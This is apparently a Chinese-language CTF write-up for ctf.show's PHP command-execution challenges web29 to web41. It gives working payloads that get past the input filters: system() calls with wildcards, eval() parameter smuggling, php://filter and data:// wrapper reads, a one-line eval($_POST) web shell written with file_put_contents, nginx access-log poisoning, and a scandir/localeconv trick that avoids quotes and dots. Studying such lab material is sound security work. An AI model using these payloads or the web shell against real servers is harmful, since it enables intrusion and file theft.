web29-41命令执行篇(一)
web29-41命令执行篇(一)
Natro92web29
1 | error_reporting(0); |
很简单的一道题。?c=system("ls");
查看一下发现flag.php就在当前目录下,因为过滤了flag字节,所以直接用f*代替就行
payload:?c=system("cat f*");
flag在源代码中。
其他解法
- 除此之外,我们可以将文件复制一份修改为其他名字。
payload:?c=system("cp f* a.txt");
然后直接访问或者cat访问都可以获得flag。
或者使用
tac
从后往前输出内容c=system("tac f*");
除了使用system函数执行,也可以使用内敛执行:
echo
命令比如`c=echo `tac f*
看了wp发现还有几种解法比如:利用参数输入+eval/include
1
2
3?c=eval($_GET[1]);&1=system("ls%20/");
?c=include$_GET[1] &1=php://filter/read=convert.base64-encode/resource=flag.php或者上传木马:
file_put_contents("alb34t.php",%20%27<?php%20eval($_POST["cmd"]);%20?>%27);
hint中使用了另一种命令和绕过:
nl fl''ag.php
注意
cat打开后php文件不会显示在页面上,因此需要f12查看源代码。
web30
1 | error_reporting(0); |
upload:?c=echo
tac f*;
web31
1 | error_reporting(0); |
空格过滤常用以下方法绕过:
1 | cat flag.txt |
payload:?c=echo%09
tac%09f*;
web32
1 | error_reporting(0); |
upload:?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
其他方法
初次之外,wp中还有一种在log中注入木马的方式。在User-Agent
中写入木马<?php phpinfo();?>
,在c中传入能正常访问的值,我们根据请求头可以判断出是nginx服务器,服务器的默认日志地址为:/var/log/nginx/access.log
,再加上这里的include的字段,我们可以得到以下payload:?c=include$_GET[a]?%3E&a=../../../../var/log/nginx/access.log
,日志页面中出现phpinfo()页面,插入木马成功。
web33
1 | error_reporting(0); |
upload:?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
web34
1 | error_reporting(0); |
upload:?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
web35
1 | error_reporting(0); |
upload:?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
web36
1 | error_reporting(0); |
过滤了数字,把1改为a就能接着用。
upload:?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web37 data伪协议文件名base64
1 | error_reporting(0); |
这回直接给你include,文件包含,不让出现flag字段,上来先想到data伪协议。
upload:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs+
其中PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs+
是:<?php system("tac flag.php");>
复习一下data伪协议的用法:
1 | 1、data://text/plain, |
web38
1 | error_reporting(0); |
继续使用上一题upload即可:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs+
web39
1 | error_reporting(0); |
upload:?c=data://text/plain,<?php system("tac f*");?>//
题目在include后面强加了.php
我们只需要在语句中添加//
注释掉末尾的字段即可。
但事实上,这道题不用管也可以,去掉//
也是没问题的:
web40 禁止套娃(有·东西)
1 | if(isset($_GET['c'])){ |
fuzz查看pregmatch剩余字符
先fuzz一下剩下了哪些常用字符:(他看着过滤了括号,但实际上是中文里的括号。。。)
1 |
|
看到结果思考了半天没有想法,看了看wp学到了新姿势:
套娃解法
https://ctf.show/writeups/1002659
https://blog.csdn.net/weixin_46250265/article/details/114266578
https://www.cnblogs.com/aninock/p/15125215.html
方法一
来自题目下方的hint:
upload:?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
分析一下是什么意思,先解释一下其中的各个函数都是什么意思。
1 | localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.) |
var_dump一下localeconv()函数,第一个对应的值是.
构造payload。首先是我们要输出列表下的所有文件:print_r(scandir('.'));
但是其中的点和单引号已经被过滤掉了,因此我们需要绕过一下,这就需要用到上面这个函数了(通过函数传参来获得)。所以想使用localeconv()["decimal_point"]
来获取到.
但是双引号已经被过滤了。
这里有三个函数能够起到替代作用。
1 | current() 函数返回数组中的当前元素(单元),默认取第一个值, |
测试一下:
这时候payload已经初具规模了。
所以我们可以利用这段payload获取到当前文件夹的信息:?c=var_dump(scandir(pos(localeconv())));
当然这次是flag文件就在当前文件夹,如果不在当前文件夹需要使用:_var_dump(scandir('../../'));_
接下来的思路就是想办法获取到文件。我们可以使用highlight_file()
函数(或者使用show_source()
)来查看文件。然后就是索引,我们可以使用next、end函数等,以下为相关的方法。
1 | current()返回数组中的当前元素的值。 |
但是flag文件不在头尾,所以我们可以使用array_reverse函数来倒转然后通过next
函数来获取到文件。
至此payload就可以构建了:c=show_source(next(array_reverse(scandir(pos(localeconv())))));
补充
当然不可能只有这几个函数恰好能够满足条件。
比如说其中的pos函数可以被current、reset函数替换。
show_resource函数可以使用high_light函数来替换。
pos(localeconv())的组合函数也可以被getcwd函数替换掉。(getcwd函数会返回当前所在文件夹)。
方法二利用sessionid(好像不行)
利用sessionid来传参,但似乎传参也会被过滤,所以对这道题来说好像不太行…
upload:?c=session_start();system(session_id());
,cookie修改为:PHPSESSID=ls
方法三
首先是payload:?c=eval(array_pop(next(get_defined_vars())));
除此之外需要用post传入1=system('tac fl*');
分析,先讲述一下各个函数的作用:
1 | get_defined_vars() 返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量,例如GET、POST、FILE等等。 |
payload的含义就是在post中寻找到对应木马,并运行。、
总结
这题真的有点东西,思路简单容易理解,但是难在如何找到返回这些需要参数的函数。
web41
1 | if(isset($_POST['c'])){ |
查看一下剩余字符:
把字符都过滤掉了,觉得应该是用什么方法来替代字符,但是之后就没有思路了。
wp
看了wp,发现想法没问题。
题目中特意提到了,上来先考虑的是:异或自增和取反构造字符都无法使用,但是留下了|
wp提供了两个脚本:
1 |
|
从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符。
1 | # -*- coding: utf-8 -*- |
如果没有将php写入环境变量,就需要先运行rce_or.php生成文本,将文本置于与exp.py相同目录下,运行exp.py
使用方法:
1 | python exp.py 你的对应url |
然后分贝在function参数和command参数添加你需要的参数。
比如system和ls。
总结
这部分题前面做着还算简单,直到40、41直接来了一个毁灭性打击。难度和前面的根本不是一个量级的。